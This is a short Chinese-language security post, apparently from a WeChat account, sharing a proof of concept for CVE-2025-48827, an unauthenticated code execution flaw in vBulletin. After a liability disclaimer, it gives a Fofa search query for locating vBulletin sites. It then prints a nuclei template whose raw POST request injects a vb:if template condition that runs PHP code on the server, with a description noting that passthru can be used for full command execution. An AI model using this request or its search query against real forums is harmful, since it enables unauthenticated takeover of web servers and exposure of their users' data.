CVE-2025-48827:vbulletin代码执行POC
CVE-2025-48827:vbulletin代码执行POC
z1 Z1sec 2025-06-04 06:32
免责声明:
由于传播、利用本公众号Z1sec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
vBulletin中的关键未经身份验证的API访问
POC详细:关注公众号回复“0604”
搜索引擎:app=”vBulletin”
nuclei验证:
id: vbulletin-replacead-rceinfo:name:vBulletinreplaceAdTemplate-RemoteCodeExecutionauthor:DhiyaneshDKseverity:criticaldescription:| vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.impact:| Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.remediation:| Upgrade to vBulletin 6.0.4+ and apply the official patch to restrict access to protected controller methods and secure the ajax/api/ad/replaceAdTemplate endpoint.reference: -https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php -https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rceclassification: cpe:cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*metadata: verified:true max-request:1 vendor:vbulletin product:vbulletin fofa-query:app="vBulletin" shodan-query:http.component:"vBulletin"tags:rce,vbulletin,intrusivevariables:rand_string:"{{to_lower(rand_base(5))}}"rand_value:"{{to_lower(rand_text_alpha(5))}}"http:-raw: -| POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location={{rand_string}}&template=<vb:ifcondition='"var_dump"("{{rand_value}}")'></vb:if> matchers: -type:dsl dsl: -contains(content_type,'application/json') -contains_all(body,'string(5)','{{rand_value}}') -status_code==200 condition:and# digest: 4a0a00473045022039d5fe53f2231bbabadaf62fc548eedf67c6fbffc543aa29a6e96fcd690d9f3d022100a7d55e33136c01b5c3bbbe57691e3cddbc419cba3c4fcf24c313d1e3fe71795b:922c64590222798bb761d5b6d8e72950